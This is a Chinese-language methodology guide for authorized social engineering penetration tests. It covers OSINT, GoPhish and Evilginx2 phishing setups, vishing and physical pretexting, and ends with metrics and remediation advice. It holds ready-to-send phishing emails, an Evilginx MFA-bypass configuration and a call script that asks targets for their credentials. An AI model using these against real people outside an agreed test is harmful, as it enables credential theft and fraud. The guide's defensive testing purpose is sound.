conducting-social-engineering-penetration-test

实施社会工程学渗透测试

概述

社会工程学渗透测试通过受控模拟真实世界的欺骗技术，评估组织的人员攻击面。根据 Verizon DBIR 2024，约 68% 的所有安全事件都涉及人为因素，其中网络钓鱼仍是最主要的初始访问途径。本技能涵盖网络钓鱼、语音钓鱼（vishing）、短信钓鱼（smishing）以及物理 pretexting 活动，使用 GoPhish、Social Engineer Toolkit（SET）和 Evilginx 等工具。

何时使用

• 当进行涉及实施社会工程学渗透测试的安全评估时
• 当遵循相关安全事件的事件响应流程时
• 当执行计划内的安全测试或审计活动时
• 当通过动手测试验证安全控制措施时

前置条件

• 获得高级管理层（CISO/CTO）的书面授权
• 法律审查确认符合当地法律（CFAA、GDPR 等）
• 明确范围：目标员工群体、攻击类型、排除项
• GoPhish 服务器、用于钓鱼基础设施的域名、VPS
• OSINT 工具：Maltego、theHarvester、LinkedIn 抓取工具
• 与 HR 和法律部门协调，以便测试后通知员工

阶段 1 — OSINT 与目标画像

员工侦察

# Email harvesting
theHarvester -d targetcorp.com -b all -l 500 -f harvester_results

# LinkedIn OSINT (manual + tools)
# Gather: names, roles, departments, email format
# Identify: new hires, IT admins, finance team, executives

# Email format discovery
# Check: first.last@, flast@, firstl@
# Verify with: hunter.io, phonebook.cz, email-checker.net

# Social media OSINT
# Twitter/X: employees posting about work tools/frustrations
# Facebook: corporate event photos, office layout
# GitHub: employee repos with corporate email addresses

# Domain intelligence
dig targetcorp.com MX +short
dig targetcorp.com TXT +short
# Check for SPF, DKIM, DMARC records
# Weak DMARC = easier email spoofing

# Check breach databases (authorized)
# HaveIBeenPwned API for corporate emails
# Identify employees with compromised credentials

目标选择矩阵

群体	人数	Pretext	攻击途径
财务	15	发票审批	网络钓鱼（凭据收集）
IT 服务台	8	密码重置	语音钓鱼
高管	5	董事会会议更新	鱼叉式网络钓鱼
新员工（< 90 天）	12	HR 入职表单	网络钓鱼（载荷）
全体员工	200	IT 安全更新	广撒网式网络钓鱼

阶段 2 — 网络钓鱼活动

基础设施搭建

# Register lookalike domain
# targetcorp.com -> targetc0rp.com, targetcorp-secure.com, targetcorp.net

# Set up GoPhish server
sudo apt install gophish
# Edit config.json for admin and phishing server ports
gophish

# Configure sending profile in GoPhish
# SMTP server: mail.attackdomain.com
# From: [email protected]
# Headers: proper DKIM/SPF for attack domain

# Create landing page (credential harvesting)
# Clone legitimate login page (Office 365, Okta, etc.)
# GoPhish: Import Site -> https://login.microsoftonline.com
# Enable: Capture Credentials, Capture Passwords
# Redirect to real site after capture

# Set up Evilginx for MFA bypass (authorized testing only)
evilginx2
: config domain attackdomain.com
: config ipv4 <server_ip>
: phishlets hostname o365 login.targetcorp-secure.com
: phishlets enable o365
: lures create o365
: lures get-url 0

GoPhish 活动配置

{
  "campaign": {
    "name": "IT Security Update - Q1 2025",
    "template": {
      "name": "Mandatory Security Training",
      "subject": "Action Required: Complete Security Awareness Training by Friday",
      "html": "<html>...[branded email with urgency]...</html>",
      "from": "IT Security Team <[email protected]>"
    },
    "landing_page": "Office 365 Login Clone",
    "sending_profile": "Phishing SMTP",
    "groups": ["All Employees - Batch 1"],
    "launch_date": "2025-03-10T09:00:00Z",
    "send_by_date": "2025-03-10T12:00:00Z"
  }
}

按 Pretext 分类的网络钓鱼邮件模板

模板 1 — IT 安全更新：

Subject: [Action Required] Mandatory Password Reset - Security Incident
From: IT Security <[email protected]>

Dear {FirstName},

Our security team has detected unauthorized access attempts on our systems.
As a precautionary measure, all employees must reset their passwords immediately.

Please click below to reset your password within the next 24 hours:

[Reset Password Now] -> {phishing_url}

Failure to comply may result in temporary account suspension.

Thank you,
IT Security Team

模板 2 — 财务发票：

Subject: Invoice #INV-2025-4821 - Approval Required
From: Accounts Payable <[email protected]>

Hi {FirstName},

Please review and approve the attached invoice from our vendor.
Amount: $47,250.00 | Due: March 15, 2025

[View Invoice] -> {phishing_url}

Best regards,
Accounts Payable

阶段 3 — 语音钓鱼活动

通话脚本模板

Pretext: IT Help Desk calling about suspicious login

Caller: "Hi, this is [Name] from the IT Help Desk. Am I speaking with [Target Name]?"

[Wait for confirmation]

Caller: "We've detected some unusual login activity on your account from an
unrecognized location. For your protection, I need to verify your identity
before we can investigate further."

Caller: "Can you confirm your employee ID and the email address associated
with your account?"

[Record responses]

Caller: "Thank you. I'm going to send you a verification link to confirm
it's really you. Can you click on it and enter your credentials so we can
secure your account?"

[Send phishing link via email/SMS during call]

Caller: "Great, I can see you've been verified. Your account is now secured.
If you notice any further issues, please call the help desk at [real number]."

需要跟踪的语音钓鱼指标

指标	描述
电话被接听	目标接听了电话
已互动	目标在初始问题之后继续对话
信息被披露	目标提供了凭据、员工 ID 或 PII
链接被点击	目标点击了验证链接
凭据被输入	目标在钓鱼页面输入了凭据
已报告	目标向安全部门报告了该通话

阶段 4 — 物理社会工程学

物理 Pretexting 场景

Scenario 1: Delivery Person
- Arrive with package labeled for executive
- Request access to deliver personally
- Attempt to tailgate through secure doors
- Drop USB drives in common areas

Scenario 2: IT Vendor
- Arrive with vendor badge (printed)
- Claim scheduled maintenance on network closet
- Attempt to access server rooms
- Install rogue wireless AP if access gained

Scenario 3: New Employee
- Arrive claiming first day orientation
- Request temporary badge
- Attempt to access restricted areas
- Photograph sensitive screens/documents

Evidence Collection:
- Body camera (if legally permitted and authorized)
- Photographs of accessed areas
- WiFi probe from rogue AP
- Notes on which doors/checkpoints bypassed

阶段 5 — 指标与分析

活动结果仪表板

Phishing Campaign Results:
├── Emails Sent: 200
├── Emails Delivered: 195 (97.5%)
├── Emails Opened: 142 (72.8%)
├── Links Clicked: 68 (34.9%)
├── Credentials Submitted: 31 (15.9%)
├── MFA Bypassed: 8 (4.1%)  [Evilginx]
├── Reported to SOC: 12 (6.2%)
└── No Action: 53 (27.2%)

Vishing Campaign Results:
├── Calls Made: 23
├── Calls Answered: 18 (78.3%)
├── Engaged in Conversation: 15 (65.2%)
├── Information Disclosed: 9 (39.1%)
├── Credentials Provided: 4 (17.4%)
└── Reported to Security: 2 (8.7%)

Physical Assessment:
├── Tailgating Successful: 3/5 attempts
├── USB Drives Plugged In: 2/10 dropped
├── Restricted Areas Accessed: 2/4 attempted
└── Challenged by Employee: 1 time

风险评分

攻击途径	成功率	风险级别	优先级
网络钓鱼（凭据收集）	15.9%	高	P1
语音钓鱼（信息泄露）	39.1%	严重	P1
物理尾随	60%	高	P2
USB 投放	20%	中	P3
鱼叉式网络钓鱼（高管）	40%	严重	P1

阶段 6 — 报告与建议

修复优先级

优先级	建议	时间线
P1	部署抗钓鱼 MFA（FIDO2/WebAuthn）	30 天
P1	实施有针对性的安全意识培训	14 天
P1	部署带 URL 重写的邮件网关	30 天
P2	加强物理访问控制（防尾随门、访客证）	60 天
P2	在每个部门实施安全 champion 计划	30 天
P3	部署 USB 设备控制策略	30 天
P3	在邮件客户端中建立网络钓鱼报告按钮	14 天

工具参考

工具	用途
GoPhish	钓鱼活动管理平台
Evilginx2	通过反向代理钓鱼绕过 MFA
Social Engineer Toolkit (SET)	社会工程学攻击框架
Maltego	OSINT 与关系映射
theHarvester	邮箱与域名 OSINT
King Phisher	钓鱼活动工具
Modlishka	用于凭据拦截的反向代理

参考资料

• GoPhish: https://getgophish.com/
• Evilginx2: https://github.com/kgretzky/evilginx2
• Social Engineer Toolkit: https://github.com/trustedsec/social-engineer-toolkit
• Verizon DBIR: https://www.verizon.com/business/resources/reports/dbir/
• NIST SP 800-61: Computer Security Incident Handling Guide